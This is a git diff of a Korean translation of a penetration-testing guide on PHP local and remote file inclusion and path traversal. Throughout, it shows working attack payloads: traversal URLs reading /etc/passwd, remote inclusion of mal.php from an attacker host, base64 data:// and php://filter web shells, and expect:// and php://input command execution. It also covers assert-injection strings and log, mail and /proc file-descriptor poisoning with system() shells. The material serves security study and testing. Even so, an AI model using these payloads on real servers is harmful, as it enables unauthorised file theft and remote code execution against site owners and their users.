http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
|
@ -136,7 +136,7 @@ PHP에서 파일 경로의 다양한 표현은 파일 시스템의 성격으로
|
|||
* 마지막 6자가 `passwd`인 경우 `/`를 추가하여 `passwd/`로 만들어도 대상 파일이 변경되지 않습니다.
|
||||
* 마찬가지로 파일 경로에 `.php`가 추가된 경우 (`shellcode.php`와 같이), 끝에 `/.`를 추가해도 액세스되는 파일이 변경되지 않습니다.
|
||||
|
||||
제공된 예제는 `/etc/passwd`에 액세스하기 위해 경로 절단을 활용하는 방법을 보여줍니다. 이는 민감한 콘텐츠(사용자 계정 정보)를 포함하고 있어 일반적인 대상입니다.
|
||||
제공된 예제는 `/etc/passwd`에 액세스하기 위해 경로 절단을 활용하는 방법을 보여줍니다. 이는 민감한 콘텐츠(사용자 계정 정보)로 인해 일반적인 대상입니다.
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -148,11 +148,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
```
|
||||
이러한 시나리오에서 필요한 탐색 횟수는 대략 2027회 정도일 수 있지만, 이 숫자는 서버 구성에 따라 다를 수 있습니다.
|
||||
|
||||
* **닷 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)는 추가 닷 세그먼트와 문자와 결합되어 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버에 의해 추가된 문자열을 무시하고 이동할 수 있습니다.
|
||||
* **필요한 탐색 횟수 결정**: 시행착오를 통해 `../` 시퀀스의 정확한 횟수를 찾아 루트 디렉토리로 이동한 다음 `/etc/passwd`로 이동하여 추가된 문자열(예: `.php`)을 중화시키고 원하는 경로(`/etc/passwd`)가 유지되도록 할 수 있습니다.
|
||||
* **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것은 예방 조치로 사용되거나 서버의 경로 구문 분석 논리 요구 사항을 충족시키기 위해 사용되는 일반적인 방법입니다.
|
||||
* **닷 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)는 추가 닷 세그먼트와 문자와 결합하여 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버에 의해 추가된 문자열을 무시하고 이동할 수 있습니다.
|
||||
* **필요한 탐색 횟수 결정**: 시행착오를 통해 정확한 `../` 시퀀스 수를 찾아 루트 디렉토리로 이동한 다음 `/etc/passwd`로 이동하여 추가된 문자열(예: `.php`)을 중화시키고 원하는 경로(`/etc/passwd`)가 유지되도록 할 수 있습니다.
|
||||
* **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것은 예방 조치로 사용되거나 서버의 경로 구문 분석 논리 요구 사항을 충족시키기 위해 사용됩니다.
|
||||
|
||||
경로 절삭 기술을 사용할 때는 서버의 경로 구문 분석 동작과 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근 방식이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
|
||||
경로 절단 기술을 사용할 때는 서버의 경로 구문 분석 동작과 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근 방식이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
|
||||
|
||||
**이 취약점은 PHP 5.3에서 수정되었습니다.**
|
||||
|
||||
|
@ -166,12 +166,12 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## 원격 파일 포함
|
||||
|
||||
PHP에서는 기본적으로 **`allow_url_include`**가 **Off**로 비활성화되어 있기 때문에 이 기능을 사용하려면 **On**으로 설정해야 합니다. 그렇게 되면 서버에서 PHP 파일을 포함시켜 RCE를 얻을 수 있습니다:
|
||||
PHP에서는 기본적으로 이 기능이 비활성화되어 있습니다. **`allow_url_include`**가 **Off** 상태이기 때문입니다. 이 기능을 사용하려면 **On**으로 설정해야 하며, 그렇게 하면 서버에서 PHP 파일을 포함시켜 RCE를 얻을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
만약 어떤 이유로든 **`allow_url_include`**가 **On** 상태이지만 PHP가 외부 웹페이지 접근을 **필터링**하는 경우, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), base64를 사용하여 b64 PHP 코드를 디코딩하고 RCE를 얻을 수 있습니다:
|
||||
만약 어떠한 이유로 **`allow_url_include`**가 **On** 상태이지만 PHP가 외부 웹페이지 접근을 **필터링**하는 경우, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 데이터 프로토콜과 base64를 사용하여 b64 PHP 코드를 디코딩하고 RCE를 얻을 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -180,10 +180,10 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
이전 코드에서 최종 `+.txt`가 추가된 이유는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문입니다. 따라서 문자열이 `.txt`로 끝나고 b64 디코딩 후에 해당 부분은 쓰레기 값으로 반환되며 실제 PHP 코드가 포함되어 (따라서 실행됨) 될 것입니다.
|
||||
이전 코드에서 최종 `+.txt`가 추가된 이유는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문입니다. 따라서 문자열이 `.txt`로 끝나고 b64 디코딩 후에 해당 부분은 쓰레기 값으로 반환되며 실제 PHP 코드가 포함되어 (따라서 실행됨) 반환됩니다.
|
||||
{% endhint %}
|
||||
|
||||
다른 예로 **`php://` 프로토콜을 사용하지 않는 경우**는 다음과 같습니다:
|
||||
다른 예는 **`php://` 프로토콜을 사용하지 않는 경우**입니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -193,7 +193,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
|||
|
||||
## Python 루트 요소
|
||||
|
||||
파이썬에서 다음과 같은 코드에서:
|
||||
파이썬에서 다음과 같은 코드가 있을 때:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
|
@ -205,11 +205,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||
```
|
||||
다음은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따라 의도된 동작입니다:
|
||||
|
||||
> 구성 요소가 절대 경로인 경우, 이전 모든 구성 요소가 삭제되고 절대 경로 구성 요소에서 계속 결합됩니다.
|
||||
> 구성 요소가 절대 경로인 경우, 이전 모든 구성 요소가 삭제되고 결합이 절대 경로 구성 요소에서 계속됩니다.
|
||||
|
||||
## Java 디렉토리 목록
|
||||
|
||||
Java에서 Path Traversal이 있는 경우 **파일 대신 디렉토리를 요청**하면 **해당 디렉토리의 목록이 반환**되는 것으로 보입니다. 다른 언어에서는 이러한 일이 발생하지 않을 것입니다 (afaik).
|
||||
Java에서 Path Traversal이 있는 경우 **파일 대신 디렉토리를 요청**하면 **해당 디렉토리의 목록이 반환**됩니다. 다른 언어에서는 이러한 일이 발생하지 않을 것으로 보입니다 (afaik).
|
||||
|
||||
## 상위 25개 매개변수
|
||||
|
||||
|
@ -258,10 +258,10 @@ PHP 필터를 사용하면 데이터를 읽거나 쓰기 전에 기본 **수정
|
|||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 실행하십시오: `iconv -l`
|
||||
* `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 다음을 실행하십시오: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
`convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 임의의 텍스트를 작성하거나 포함 프로세스를 만드는 데 유용할 수 있습니다. 자세한 내용은 [**php 필터를 통한 LFI2RCE**](lfi2rce-via-php-filters.md)를 확인하십시오.
|
||||
`convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 함수를 만들어 임의의 텍스트를 포함하는 데 유용할 수 있습니다. 자세한 내용은 [**php 필터를 통한 LFI2RCE**](lfi2rce-via-php-filters.md)를 확인하십시오.
|
||||
{% endhint %}
|
||||
|
||||
* [압축 필터](https://www.php.net/manual/en/filters.compression.php)
|
||||
|
@ -307,24 +307,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
|
||||
### 임의 파일을 읽기 위한 오라클로서 php 필터 사용
|
||||
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술을 제안합니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 문자 단위로 읽는 부울 추출**에 기반을 두고 있습니다. 이는 php 필터가 텍스트를 충분히 크게 만들어 php가 예외를 발생시킬 수 있기 때문입니다.
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술을 제안합니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 문자 단위로 노출하는 부울 추출**에 기반합니다. 이는 php 필터가 텍스트를 충분히 크게 만들어 php가 예외를 발생시킬 수 있도록 사용될 수 있기 때문입니다.
|
||||
|
||||
원본 게시물에서 기술에 대한 자세한 설명을 찾을 수 있지만, 여기에 간단한 요약이 있습니다:
|
||||
원본 게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기에 간단한 요약이 있습니다:
|
||||
|
||||
* **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 남기고 문자열 크기를 기하급수적으로 증가시킵니다.
|
||||
* 이를 사용하여 **초기 문자가 올바르게 추측되었을 때 매우 큰 텍스트를 생성**하여 php가 **오류를 발생**시킵니다.
|
||||
* **dechunk** 필터는 **첫 번째 문자가 16진수가 아닌 경우 모두 제거**하므로 첫 문자가 16진수인지 여부를 알 수 있습니다.
|
||||
* 이는 이전 것과 결합됨으로써 (그리고 추측된 문자에 따라 다른 필터들과 함께), 우리는 충분한 변환을 수행하여 16진수 문자가 아닌 경우 문자의 시작을 추측할 수 있게 됩니다. 16진수인 경우 dechunk가 삭제하지 않고 초기 폭탄이 php 오류를 발생시킬 것입니다.
|
||||
* 코덱 **convert.iconv.UNICODE.CP930**는 각 문자를 다음 문자로 변환합니다 (따라서 이 코덱을 적용하면 a -> b). 이를 통해 예를 들어 첫 문자가 `a`인지 여부를 알 수 있습니다. 6개의 이 코덱을 적용하면 a->b->c->d->e->f->g로 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk가 삭제하지 않고 php 오류가 발생합니다.
|
||||
* 처음 문자가 숫자인 경우 base64로 인코딩하고 숫자를 누출하기 위해 처음 2개의 문자를 누출해야 합니다.
|
||||
* **초기 문자 이상을 누출하는 방법**은 어떻게 하는지 볼 문제입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하여 문자의 순서를 변경하고 텍스트의 첫 위치에 다른 문자를 가져올 수 있습니다.
|
||||
* **더 많은 데이터를 얻기 위해서**는 **convert.iconv.UTF16.UTF16**을 사용하여 **처음에 2바이트의 쓰레기 데이터를 생성**하고, **UCS-4LE**을 적용하여 **다음 2바이트와 피벗**하고 쓰레기 데이터까지 데이터를 **삭제**합니다 (이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 누출할 때까지 계속합니다.
|
||||
* **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 남겨두고 문자열 크기를 기하급수적으로 증가시킵니다.
|
||||
* 이를 사용하여 **초기 문자가 정확하게 추측될 때 텍스트가 매우 커지게** 하여 php가 **오류를 발생**시킵니다.
|
||||
* **dechunk** 필터는 **첫 번째 문자가 16진수가 아닌 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 여부를 알 수 있습니다.
|
||||
* 이는 이전 것과 결합된 것(및 추측된 문자에 따라 다른 필터)으로 텍스트의 시작 부분의 문자를 추측할 수 있도록 합니다. 충분한 변환을 수행하여 16진수 문자가 아닌 경우를 만들면 16진수가 아닌 경우 dechunk가 삭제하지 않고 초기 폭탄이 php 오류를 발생시킵니다.
|
||||
* 코덱 **convert.iconv.UNICODE.CP930**는 각 문자를 다음 문자로 변환합니다(따라서 이 코덱을 적용하면 a -> b). 이를 통해 예를 들어 첫 번째 문자가 `a`인지 알 수 있습니다. 6개의 이러한 코덱을 적용하면 a->b->c->d->e->f->g로 문자가 더 이상 16진수 문자가 아니므로 dechunk가 삭제하지 않고 php 오류가 발생합니다.
|
||||
* **rot13**과 같은 다른 변환을 사용하여 시작 부분에서 n, o, p, q, r과 같은 다른 문자를 노출시킬 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
|
||||
* 초기 문자가 숫자인 경우에는 base64로 인코딩하고 숫자를 노출시키기 위해 처음 2개의 문자를 노출해야 합니다.
|
||||
* **초기 문자 이상을 노출하는 방법**은 무엇인지 확인해야 합니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하여 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
|
||||
* **더 많은 데이터를 얻기 위해** 처음에 **2바이트의 쓰레기 데이터를 생성**하고 **convert.iconv.UTF16.UTF16**을 사용하여 다음 2바이트와 **UCS-4LE**를 적용하여 다음 2바이트와 **데이터를 삭제**합니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 이를 원하는 비트를 노출할 때까지 계속합니다.
|
||||
|
||||
게시물에서는 이를 자동으로 수행하는 도구도 누출되었습니다: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
게시물에서는 이를 자동으로 수행하는 도구도 누설되었습니다: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
이 래퍼는 프로세스가 열어 둔 파일 디스크립터에 액세스할 수 있게 합니다. 열려 있는 파일의 내용을 누출하는 데 유용할 수 있습니다:
|
||||
이 래퍼는 프로세스가 열어 둔 파일 디스크립터에 액세스할 수 있도록 합니다. 열려 있는 파일의 내용을 노출하는 데 유용할 수 있습니다.
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -351,7 +352,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
data:// 스키마는 파일 포함 취약점을 악용하는 데 사용됩니다. 이 스키마를 통해 데이터 URI를 통해 파일 시스템의 파일을 읽을 수 있습니다.
|
||||
data://는 PHP에서 사용되는 스키마로, 파일 시스템이 아닌 데이터를 나타냅니다. 이를 통해 데이터를 읽어올 수 있으며 파일 시스템에 있는 파일을 읽는 것과 유사합니다.
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -365,7 +366,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
|
||||
### expect://
|
||||
|
||||
Expect를 활성화해야 합니다. 이를 사용하여 코드를 실행할 수 있습니다:
|
||||
Expect가 활성화되어 있어야 합니다. 이를 사용하여 코드를 실행할 수 있습니다:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
|
@ -378,7 +379,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 활용할 때 `.phar` 파일을 사용하여 PHP 코드를 실행할 수 있습니다. 아래 제공된 PHP 코드 스니펫은 `.phar` 파일을 생성하는 방법을 보여줍니다:
|
||||
웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 활용할 때, `.phar` 파일을 사용하여 PHP 코드를 실행할 수 있습니다. 아래 제공된 PHP 코드 조각은 `.phar` 파일을 생성하는 방법을 보여줍니다:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -393,7 +394,7 @@ php --define phar.readonly=0 create_path.php
|
|||
```
|
||||
실행 시 `test.phar`라는 파일이 생성되며, 이는 잠재적으로 로컬 파일 포함(LFI) 취약점을 악용할 수 있습니다.
|
||||
|
||||
LFI가 PHP 코드 실행 없이 파일을 읽는 경우, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수를 통해 파일을 읽는 경우, 직렬화 취약점 악용이 시도될 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
|
||||
LFI가 PHP 코드 실행 없이 파일을 읽기만 하는 경우, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`과 같은 함수를 통해 직렬화 취약점 악용이 시도될 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
|
||||
|
||||
`.phar` 파일의 직렬화 취약점 악용에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
|
||||
|
||||
|
@ -403,28 +404,34 @@ LFI가 PHP 코드 실행 없이 파일을 읽는 경우, `file_get_contents()`,
|
|||
[phar-deserialization.md](phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**php 필터를 지원하는 PHP에서 임의의 파일을 읽어 RCE를 얻는 것이 가능했습니다.** 자세한 설명은 [**이 게시물에서 찾을 수 있습니다**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
매우 간단한 요약: PHP 힙에서 **3바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인을 변경**하여 **어떤 주소에든 무엇이든 쓸 수 있도록** 훅이 추가되어 **`system`**을 호출했습니다.\
|
||||
더 많은 php 필터를 악용하여 특정 크기의 청크를 할당하는 것이 가능했습니다.
|
||||
|
||||
### 더 많은 프로토콜
|
||||
|
||||
더 많은 가능한[ **여기에 포함할 프로토콜**](https://www.php.net/manual/en/wrappers.php)**을** 확인하십시오:
|
||||
더 많은 가능한[ **여기에 포함할 프로토콜**](https://www.php.net/manual/en/wrappers.php)**을 확인하십시오:**
|
||||
|
||||
* [php://memory 및 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (파일 포함 공격에 어떻게 유용할지 확실하지 않음)
|
||||
* [php://memory 및 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (파일 포함 공격에서 어떻게 유용할지는 확실하지 않음)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로명 찾기 (출력 가능한 것을 반환하지 않으므로 여기서는 실제로 유용하지 않음)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 보안 셸 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일 읽기에 유용하지 않음)
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로명 찾기 (출력이 없으므로 여기서는 실제로 유용하지 않음)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 보안 쉘 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데 유용하지 않음)
|
||||
|
||||
## PHP의 'assert'를 통한 LFI
|
||||
|
||||
PHP에서 'assert' 함수를 다룰 때 로컬 파일 포함(LFI) 위험은 특히 높습니다. 'assert' 함수는 문자열 내에서 코드를 실행할 수 있기 때문에, ".."과 같은 디렉터리 이동 문자가 포함된 입력이 적절하게 검사되지 않은 경우 문제가 발생할 수 있습니다.
|
||||
PHP에서 'assert' 함수를 다룰 때 로컬 파일 포함(LFI) 위험은 특히 높습니다. 이 함수는 문자열 내에서 코드를 실행할 수 있습니다. 특히 ".."과 같은 디렉터리 이동 문자가 포함된 입력이 확인되지만 적절하게 살균되지 않는 경우 문제가 발생할 수 있습니다.
|
||||
|
||||
예를 들어, PHP 코드가 디렉터리 이동을 방지하도록 설계되었지만 다음과 같이 처리되지 않은 경우:
|
||||
예를 들어, PHP 코드가 디렉터리 이동을 방지하도록 설계되었지만 다음과 같이 처리되지 않는 경우:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
이는 탐색을 막기 위해 만들어졌지만, 코드 삽입을 위한 벡터를 실수로 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:
|
||||
이는 탐색을 막기 위해 만들어졌지만, 코드 삽입을 위한 벡터를 실수로 만들어냅니다. 파일 내용을 읽기 위해 이를 악용하려면, 공격자는 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
|
@ -432,7 +439,7 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
중요한 것은 이러한 페이로드를 **URL 인코딩**해야합니다.
|
||||
중요한 것은 이러한 페이로드를 **URL 인코딩**하는 것입니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -447,19 +454,19 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 참여하여 최고의 해커들과 협업을 시작하세요!
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에서 우리와 함께하고 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 기술은 **파일 경로**를 **제어**하지만 파일 내용을 볼 수 없는 경우(예: **`file()`** 호출과 같은)에 사용됩니다.
|
||||
이 기술은 **파일 경로**를 **제어**하지만 파일 내용을 볼 수 없는 경우에 관련이 있습니다. 예를 들어 **`file()`**를 호출하는 **PHP 함수**의 **파일 경로**를 제어하지만 파일 내용이 표시되지 않는 경우에 유용합니다.
|
||||
{% endhint %}
|
||||
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서 PHP 필터를 통해 블라인드 경로 순회를 악용하여 파일 내용을 **에러 오라클을 통해 유출하는 방법**이 설명되어 있습니다.
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서 PHP 필터를 통해 블라인드 경로 순회를 악용하여 **오류 기반 오라클을 통해 파일 내용을 유출하는 방법**에 대해 설명되어 있습니다.
|
||||
|
||||
기본적으로 이 기술은 파일 내용을 **매우 크게 만들기 위해 "UCS-4LE" 인코딩**을 사용하여 파일을 열 때 **에러**를 유발합니다.
|
||||
기본적으로 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일 내용을 충분히 **큰** 것으로 만들어 **PHP 함수가 파일을 열 때 오류를 유발**하도록 합니다.
|
||||
|
||||
그런 다음, 첫 번째 문자를 노출시키기 위해 **`dechunk`** 필터와 **base64** 또는 **rot13**와 같은 다른 필터를 사용하고 마지막으로 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE** 필터를 사용하여 다른 문자를 **처음에 배치하고 노출**합니다.
|
||||
그런 다음, 첫 번째 문자를 노출시키기 위해 필터 **`dechunk`**를 사용하고 **base64** 또는 **rot13**와 같은 다른 필터와 함께 사용하며 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE**를 사용하여 다른 문자를 **처음에 배치하고 노출**합니다.
|
||||
|
||||
**취약할 수 있는 함수**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (이 함수로만 읽기 전용 대상)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
|
@ -469,19 +476,19 @@ assert("strpos('$file', '..') === false") or die("");
|
|||
|
||||
### 원격 파일 포함
|
||||
|
||||
이전에 설명한 내용은 [**이 링크를 따르세요**](./#remote-file-inclusion).
|
||||
이전에 설명한 것은 [**이 링크를 따르세요**](./#remote-file-inclusion).
|
||||
|
||||
### Apache/Nginx 로그 파일을 통한 방법
|
||||
|
||||
Apache 또는 Nginx 서버가 **LFI에 취약**하다면 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 액세스를 시도할 수 있습니다. **사용자 에이전트** 또는 **GET 매개변수**에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 셸을 설정하고 해당 파일을 포함할 수 있습니다.
|
||||
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우, include 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 액세스를 시도할 수 있습니다. **사용자 에이전트** 내부 또는 **GET 매개변수** 내부에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 셸을 설정하고 해당 파일을 포함할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
셸에 **단일 따옴표 대신 이중 따옴표를 사용**하는 경우, 이중 따옴표는 문자열 "_**quote;**_"로 수정되며, **PHP에서 오류가 발생**하고 **그 외에는 아무 것도 실행되지 않습니다**.
|
||||
**셸에 단일 따옴표 대신 이중 따옴표를 사용**하는 경우, 이중 따옴표는 문자열 "_**quote;**_"로 수정되며, **PHP에서 오류가 발생**하고 **그 외에는 아무 것도 실행되지 않습니다**.
|
||||
|
||||
또한 페이로드를 **올바르게 작성**해야하며, 그렇지 않으면 PHP가 로그 파일을로드할 때마다 오류가 발생하고 두 번째 기회가 없습니다.
|
||||
또한 페이로드를 **올바르게 작성**해야 하며, PHP가 로그 파일을로드하려고 할 때마다 오류가 발생하고 두 번째 기회가 없을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이것은 다른 로그에서도 수행할 수 있지만, 로그 내부의 코드가 URL 인코딩되어 있을 수 있으며 이로 인해 셸이 손상될 수 있습니다. **"basic" 인증 헤더**에는 Base64로 "사용자:비밀번호"가 포함되어 있으며 로그 내에서 디코딩됩니다. PHPShell을 이 헤더 내에 삽입할 수 있습니다.\
|
||||
이것은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내부의 코드는 URL 인코딩될 수 있으며 이로 인해 셸이 손상될 수 있습니다. 헤더 **authorisation "basic"**에는 Base64에서 "user:password"가 포함되어 있으며 로그 내에서 디코딩됩니다. PHPShell을 이 헤더 내에 삽입할 수 있습니다.\
|
||||
다른 가능한 로그 경로:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -496,12 +503,12 @@ Apache 또는 Nginx 서버가 **LFI에 취약**하다면 포함 함수 내에서
|
|||
```
|
||||
### 이메일을 통해
|
||||
|
||||
내부 계정 (user@localhost)으로 PHP payload인 `<?php echo system($_REQUEST["cmd"]); ?>`를 포함한 이메일을 보내고, **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 사용자의 메일을 포함하려고 시도합니다.
|
||||
내부 계정 (user@localhost)으로 PHP payload인 `<?php echo system($_REQUEST["cmd"]); ?>`를 포함한 이메일을 보내고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로로 사용자의 메일을 포함시도합니다.
|
||||
|
||||
### /proc/\*/fd/\*를 통해
|
||||
|
||||
1. 많은 쉘을 업로드합니다 (예 : 100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함하십시오. 여기서 $PID는 프로세스의 PID이며 (무차별 대입될 수 있음), $FD는 파일 디스크립터입니다 (이것도 무차별 대입될 수 있음).
|
||||
